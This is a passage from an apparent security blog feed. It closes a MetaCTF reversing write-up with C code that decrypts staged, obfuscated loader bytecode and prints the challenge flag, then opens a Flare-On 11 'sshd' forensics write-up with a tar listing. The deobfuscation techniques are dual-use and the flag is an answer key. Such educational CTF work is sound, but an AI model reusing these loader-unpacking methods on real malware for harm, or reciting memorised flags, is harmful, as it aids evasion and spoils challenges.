font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-11">        value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb6-12">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">break</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-13">        <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Get previous byte (use 0x90 if it's the first element)</span></span>
<span id="cb6-14">        prev <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x90</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb6-15">        encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> prev<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">7</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-16">        i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++;</span></span>
<span id="cb6-17">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb6-18"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb6-19"></span>
<span id="cb6-20"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> main<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-21">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">FILE</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>fp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-22">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">size_t</span> size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb6-23">        </span>
<span id="cb6-24">    decrypt_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span>
<span id="cb6-25">        </span>
<span id="cb6-26">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Save to file</span></span>
<span id="cb6-27">    fp <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> fopen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"bytecode_2"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"wb"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb6-28">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>fp <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> NULL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-29">        fwrite<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> fp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb6-30">        fclose<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>fp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb6-31">        printf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Decrypted </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%ld</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;"> bytes saved to 'bytecode_2'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb6-32">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-33">        printf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Error: Could not create output file</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb6-34">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb6-35">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-36"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
</section>
</section>
<section id="bytecode-2" class="level2">
<h2 class="anchored" data-anchor-id="bytecode-2">Bytecode 2</h2>
<p>The second bytecode is quite similar to the first one, with only minor modifications.</p>
<section id="initial-setup-register-cleaning-and-int3" class="level3">
<h3 class="anchored" data-anchor-id="initial-setup-register-cleaning-and-int3">Initial Setup: Register Cleaning and INT3</h3>
<p>At the beginning of this bytecode, there’s some register clearing followed by an INT3 instruction.</p>
<p>From <a href="https://en.wikipedia.org/wiki/INT_(x86_instruction)#INT3">Wikipedia</a>:</p>
<blockquote class="blockquote">
<p>The INT3 instruction is a one-byte-instruction defined for use by debuggers to temporarily replace an instruction in a running program in order to set a code breakpoint.</p>
</blockquote>
<p>This INT3 is likely placed there to help those debugging the challenge dynamically, reducing the difficulty of the challenge. It allows easy pausing right before the next stage of execution.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_2_1.png" title="bytecode 2 int3" class="img-fluid"></p>
<p>However, since I’m solving this statically, the breakpoint doesn’t matter.</p>
</section>
<section id="decryption-function-1" class="level3">
<h3 class="anchored" data-anchor-id="decryption-function-1">Decryption Function</h3>
<p>After the initial setup, we find another decryption routine. This time, the decryption logic is even simpler than in the first bytecode. It just XORs the current byte with the previous one.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_2_2.png" title="bytecode 2 decryption function" class="img-fluid"></p>
<p>I reused the same C code from the first bytecode but updated the payload and simplified the decryption logic to match the new XOR behavior:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb7-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-2">    <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x2b</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xf6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x28</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x11</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x15</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xda</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xf8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x17</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x12</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x3d</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb7-3">    <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xc0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xd6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x59</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x50</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x01</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xde</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xe4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x33</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x5c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x04</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb7-4">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb7-5"></span>
<span id="cb7-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb7-7"></span>
<span id="cb7-8"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> decrypt_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-9">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-10">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> value<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> prev<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-11">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-12">        value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb7-13">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">break</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-14">        <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Get previous byte (use 0x90 if it's the first element)</span></span>
<span id="cb7-15">        prev <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x90</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">];</span></span>
<span id="cb7-16">        encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">]</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> prev<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-17">        i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++;</span></span>
<span id="cb7-18">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb7-19"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb7-20"></span>
<span id="cb7-21"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> main<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-22">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">FILE</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>fp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-23">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">size_t</span> size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-24">        </span>
<span id="cb7-25">    decrypt_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span>
<span id="cb7-26">        </span>
<span id="cb7-27">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Save to file</span></span>
<span id="cb7-28">    fp <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> fopen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"bytecode_3"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"wb"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-29">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>fp <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> NULL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-30">        fwrite<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> fp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-31">        fclose<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>fp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-32">        printf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Decrypted </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%ld</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;"> bytes saved to 'bytecode_3'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-33">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-34">        printf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Error: Could not create output file</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-35">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb7-36">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-37"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
</section>
</section>
<section id="bytecode-3" class="level2">
<h2 class="anchored" data-anchor-id="bytecode-3">Bytecode 3</h2>
<p>The final bytecode is smaller in size, <code>0x64</code> bytes in total, but only <code>0x3a</code> of them are the real bytecode. The rest are just some <code>0xff</code>s from the previous extraction.</p>
<p>Unlike the previous stages, this bytecode doesn’t perform any “complex” operations or print the flag directly.</p>
<p>Instead, it simply moves the flag’s characters into the same register over and over. This kind of obfuscation is designed to make dynamic analysis slightly more challenging, but static tools like Radare2 make this final process straightforward by disclosing the flag.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_3.png" title="bytecode 3 with the flag" class="img-fluid"></p>
<section id="flag" class="level3">
<h3 class="anchored" data-anchor-id="flag">Flag</h3>
<p><code>MetaCTF{m4de_l04d3r_4_ur_l0ad3r}</code></p>


</section>
</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>CTF</category>
  <category>reversing</category>
  <category>radare2</category>
  <category>gdb</category>
  <category>anti-debugging</category>
  <guid>https://0xlibris.net/posts/metactf_2025_jan_loader/</guid>
  <pubDate>Tue, 04 Feb 2025 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/metactf_2025_jan_loader/img/r2_bytecode_3.png" medium="image" type="image/png" height="61" width="144"/>
</item>
<item>
  <title>Flare-On 11 Challenge 5: sshd</title>
  <link>https://0xlibris.net/posts/flare11_5/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>This year marked my first attempt at the Flare-On, and it’s been a wild ride. Surprisingly, I solved the first four challenges the first weekend, way faster than I expected, but then I hit a wall with this one.</p>
<section id="challenge-description" class="level3">
<h3 class="anchored" data-anchor-id="challenge-description">Challenge description</h3>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode cmd code-overflow-wrap code-with-copy"><code class="sourceCode dosbat"><span id="cb1-1">Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to tell sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you.</span></code></pre></div></div>
<p>The challenge provides an encrypted 7z file (<code>sshd.7z</code>) with the password <code>flare</code>. Inside there is another compressed file: <code>ssh_container.tar</code>.</p>
<p>I started lurking around the compressed files which turned out to be a filesystem. The author of the challenge (<em>toomanybananas</em>) was also disclosed while listing files with <code>tar</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb2-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> tar <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--exclude</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"*/*/*"</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-tvf</span> ssh_container.tar </span>
<span id="cb2-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-09-09 23:48 ./</span>
<span id="cb2-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./var/</span>
<span id="cb2-4"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-30 23:22 ./fmnt/</span>
<span id="cb2-5"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./media/</span>
<span id="cb2-6"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-09-09 23:21 ./tmp/</span>
<span id="cb2-7"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">lrwxrwxrwx</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./sbin <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> usr/sbin</span>
<span id="cb2-8"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-03-29 18:20 ./home/</span>
<span id="cb2-9"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">-rwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-30 23:22 ./.dockerenv</span>
<span id="cb2-10"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./mnt/</span>
<span id="cb2-11"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">lrwxrwxrwx</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./lib <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> usr/lib</span>
<span id="cb2-12"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-03-29 18:20 ./boot/</span>
<span id="cb2-13"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./usr/</span>
<span id="cb2-14"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./opt/</span>
<span id="cb2-15"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-03-29 18:20 ./sys/</span>
<span id="cb2-16"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">lrwxrwxrwx</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./bin <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> usr/bin</span>
<span id="cb2-17"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./srv/</span>
<span id="cb2-18"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwx------</span> toomanybananas/primarygroup 0 2024-09-11 22:55 ./root/</span>
<span id="cb2-19"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">lrwxrwxrwx</span> toomanybananas/primarygroup 0 2024-07-22 02:00 ./lib64 <span class="at" style="color: #657422;
background-color: null;
